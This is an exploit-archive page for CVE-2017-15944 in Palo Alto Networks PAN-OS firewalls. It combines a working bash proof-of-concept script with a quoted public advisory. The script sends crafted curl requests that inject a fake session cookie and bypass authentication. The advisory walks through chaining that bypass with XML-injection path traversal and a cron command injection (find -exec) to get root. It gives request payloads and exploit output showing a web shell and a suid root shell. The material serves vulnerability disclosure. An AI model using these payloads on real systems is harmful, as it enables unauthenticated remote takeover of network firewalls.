Palo Alto Networks PAN-OS Cookie Injection

2017.12.21
Risk: Low
Local: No
Remote: Yes
CWE: CWE-264


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/bin/bash # # Exploit Title: Fake Cookie Injection PoC - CVE-2017-15944 # Date: December 15, 2017 # Description: Create a take custom cookie and then verify it. # CVE: CVE-2017-15944 # Author: Fernando Lagos (Zerial) # https://twitter.com/Zerial # https://blog.zerial.org # https://nivel4.com # # # Example: # ~$ bash pan-poc.sh # Testing CVE-2017-15944 on https://96.8x.xxx.xx:4443 # [+] Testing connection to host: OK # [+] Cooking session: OK # [+] Inserting fake cookie: OK # [+] Verifying session: OK # *** [!] Host https://96.8x.xxx.xx:4443 is vulnerable. # # NOTE: Run as bash uri=$1 echo "Testing CVE-2017-15944 on $uri" echo -n "[+] Testing connection to host: " curl --max-time 4 -k --connect-timeout 3 $uri -s -H "User-Agent: CVE-2017-15944/PoC/v1 - https://nivel4.com">/dev/null if [ $? -eq 0 ] then echo "OK" else echo "Unreachable." exit 1 fi echo -n "[+] Cooking session: " curl -s --connect-timeout 3 -k "$uri/php/login.php" -H "User-Agent: CVE-2017-15944/PoC/v1 - https://nivel4.com" -c /tmp/pan_cookie >/dev/null echo "OK" echo -n "[+] Inserting fake cookie: " curl -s --connect-timeout 3 -k -vvv "$uri/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\";" -b /tmp/pan_cookie -s -H "User-Agent: CVE-2017-15944/PoC/v1 - https://nivel4.com" 2>/dev/null|grep "Success" >/dev/null if [ $? -eq 0 ] then echo "OK" else echo "Error." exit 1 fi echo -n "[+] Verifying session: " curl -s -k --connect-timeout 3 "$uri/php/utils/debug.php" -b /tmp/pan_cookie -H "User-Agent: CVE-2017-15944/PoC/v1 - https://nivel4.com" |grep -i "Debug Console">/dev/null if [ $? -eq 0 ] then echo "OK" else echo -e "\033[1;33m[!]\033[0m Warning. Can't verify. \033[1;33mPlease check manually\033[0m." exit 1 fi echo -e "*** \033[0;31m[!]\033[0m Host $uri is \033[0;31m vulnerable\033[0m." ----- eof ----- 2017-12-11 20:13 GMT-03:00 Philip Pettersson <philip.pettersson@gmail.com>: > Hello, > > This is a public advisory for CVE-2017-15944 which is a remote root code > execution bug in Palo Alto Networks firewalls. > > Three separate bugs can be used together to remotely execute commands as > root through the web management interface without authentication on: PAN-OS > 6.1.18 and earlier, PAN-OS 7.0.18 and earlier, PAN-OS 7.1.13 and earlier, > PAN-OS 8.0.5 and earlier. > > Palo Alto Networks recommends not exposing the web management interface to > the internet. By looking at Project Sonar or Shodan it is evident that it's > actually quite common to deploy the firewalls with the web management > interface listening on the WAN port. > > PAN-OS 6.1.19, PAN-OS 7.0.19, PAN-OS 7.1.14 and PAN-OS 8.0.6 are patched > and can be downloaded from https://support.paloaltonetworks.com/ > > =*=*=*=*=*=*=*=*= TIMELINE > > 2017-07-09: Report submitted. > > 2017-07-11: Palo Alto Networks PSIRT confirm that they received the report > and assign PDV-348 for tracking the issues. > > 2017-12-05: The bugs are made public by Palo Alto Networks at > https://securityadvisories.paloaltonetworks.com > > 2017-12-11: I send out this public advisory. > > =*=*=*=*=*=*=*=*= DESCRIPTION > > - Bug #1: Partial authentication bypass > > The file `/etc/appweb3/conf/common.conf` contains the web configuration > for > the web server that handles the web management interface. > > It configures an authentication filter on most subdirectories using the > following format: > > <Location /php> > panAuthCheck on > </Location> > > This means that all requests to /php/* will be checked for an authenticated > session cookie. The functionality itself is implemented in the > `libpanApiWgetFilter.so` library file. > > The function `openAuthFilter()` will look for the PHPSESSID cookie and then > call the `readSessionVarsFromFile()` function on the session file to > extract the `dloc` and `user` values. > > The problem is that `readSessionVarsFromFile()` is not using the official > PHP functions to read the serialized session data, but its own parser using > `strtok()` which is not implemented correctly. > > The PHP session format which `readSessionVarsFromFile()` tries to parse > looks like this for string values: > locale|s:2:"en"; > > Explained: > var_name|s:str_length:"string value"; var_name|s:str_length:"another > string";... > > > If we can inject a value into the session file that contains the `";` > character sequence, we can break the parser and inject our own value for > the `user` variable. > > We can do this by calling the `/esp/cms_changeDeviceContext.esp` script, > which does not need any kind of authentication to be called. > > It will call the `panUserSetDeviceLocation()` function located in > `panmodule.so`, which splits the `dloc` GET parameter by ":" and sets the > `dloc` and `loc` session variables to the second value. > > We can corrupt the session file by calling the following url: > `/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";` > > Which produces the following contents in `/tmp/sess_<sessionid>`: > `dloc|s:20:"8:a'";user|s."1337";";loc|s:27:"16:a'";user|s."1337";:vsys1";` > > When this is parsed by the `readSessionVarsFromFile()` function, it will > extract `16:a'` as the value for the `user` variable. > > It will then use this in XML requests to the backend to check if the user > is authenticated, but this produces an XML injection that results in an > invalid XML document: > > ``` > Entity: line 1: parser error : attributes construct error > <request cmd='op' cookie='16:a'' refresh='no'><operations > xml='yes'><show><cli> > ``` > > The extra single quote character is injected into the cookie value, which > makes the request fail because of a parser error. Interestingly enough, the > `panCheckSessionExpired()` function in `libpanApiWgetFilter.so` does not > recognize this unexpected state and believes that authentication has > succeeded. > > We can now access any PHP file protected by the panAuthCheck directive > using our manipulated session cookie. > > Example: > > imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" > 10.0.0.1/php/utils/debug.php > <!DOCTYPE html> > <html><head><title>Moved Temporarily</title></head> > <body><h1>Moved Temporarily</h1> > <p>The document has moved <a href="http://10.0.0.1:28250/php/logout.php > ">here</a>.</p> > <address>PanWeb Server/ - at 127.0.0.1:28250 Port 80</address></body> > </html> > imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" ' > 10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s." > 1337";' > @start@Success@end@ > imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" > 10.0.0.1/php/utils/debug.php > 2>/dev/null|head -30 > <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" " > http://www.w3.org/TR/html4/loose.dtd"> > <html> > <head> > <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> > <title>Debug Console</title> > > > It's important to note that we still don't have a valid, logged in session. > Most PHP scripts will fail, but we do bypass the authentication check in > the web server. > > - Bug #2: Arbitrary directory creation > > The `/php/utils/router.php` file handles API requests for the web > management interface backend communication. It exposes most of the PHP > classes that comprise the web application in a simple remote procedure call > interface over HTTP POST/JSON. > > The `/php/device/Administrator.php` file declares the `Administrator` > class. It contains a method called `get` that we can call from > `router.php`. > > In the `get` method there is an XML injection in the call to > `Direct::getConfigByXpath`. The `jsonArgs->id` parameter is appended to the > request without any sanitation. This allows us to manipulate the XML > request that is sent to the backend. > > Normal request: > <request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']" > cookie="12312312312"/> > > We can inject our own values into the end of the `obj` attribute, and > therefore control all of the remaining XML request. > > The `pan_cfg_req_ctxt_construct()` function in `libpanmp_mp.so` handles the > parsing of XML requests in the backend. > > If we send a request tag with the `async-mode='yes'` attribute set, the > backend will create a temporary file and parent directory in > `/opt/pancfg/session/pan/user_tmp/<cookie value>/<jobid>.xml` that > contains > the output of the request. > > Since we can control the `<cookie value>` part of the created directory > structure, we can use a directory traversal attack to create a directory > with an arbitrary name anywhere on the system. > > For example, by sending the following crafted POST request: > > {"action":"PanDirect","method":"execute","data": > ["07c5807d0d927dcd0980f86024e5208b","Administrator.get", > {"changeMyPassword":true,"template":"asd","id":"admin']\" > async-mode='yes' refresh='yes' > cookie='../../../../../../tmp/hacked'/>\u0000"}],"type":"rpc","tid":713} > > > The backend receives the following XML request, resulting in the > `/tmp/hacked` directory being created: > > <request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']" > async-mode="yes" refresh="yes" cookie="../../../../../../tmp/hacked"/> > > > - Bug #3: Command injection in cron script > > There is a cron entry that executes `/usr/local/bin/genindex_batch.sh` > every 15 minutes. > > This shellscript will in turn execute `/usr/local/bin/genindex.sh` to > generate indexes from database files in `/opt/pancfg/mgmt/logdb/`. > > There is a command injection vulnerability in how this shellscript handles > filename processing: > > <redacted at the request of PA networks> > > Since we can create directories in `$PAN_BASE_DIR/logdb/$dir/1`, we are > able to influence the output of the first `find` command. > > This output is then used as an argument in the second execution of `find`, > but without enclosing quotes. We can therefore inject arbitrary arguments > in this invocation. By passing the `-exec` option to `find`, we can make it > execute arbitrary system commands. > > My exploit creates a directory called: > `* -print -exec python -c exec("[base64 code..]".decode("base64")) ;` > > The base64-encoded python code will be executed as root, which creates a > simple web shell in `/var/appweb/htdocs/api/c.php` as well as a suid root > wrapper in `/bin/x`. > > =*=*=*=*=*=*=*=*= EXPLOIT OUTPUT > > imac:~/pa% python panos-rce.py http://10.0.0.1/ > creating corrupted session... > >> http://10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27 > ";user|s."1337"; > done, verifying.. > >> http://10.0.0.1/php/utils/debug.php > panAuthCheck bypassed > verifying that directory creation works.. > >> http://10.0.0.1/php/utils/router.php/Administrator.get > >> http://10.0.0.1/api/test/202.xml > creating /opt/pancfg/mgmt/logdb/traffic/1/ entry > shell at http://10.0.0.1/api/c.php should be created in 8 minutes.. please > wait > > web shell created, rootshell accessible with /bin/x -p -c 'command' > uid=99(nobody) gid=99(nobody) euid=0(root) > Linux PA-3060 2.6.32.27-7.1.10.0.30 #1 SMP Thu May 4 20:10:01 PDT 2017 > x86_64 x86_64 x86_64 GNU/Linux > > $ > > > =*=*=*=*=*=*=*=*= CREDIT > > Philip Pettersson >


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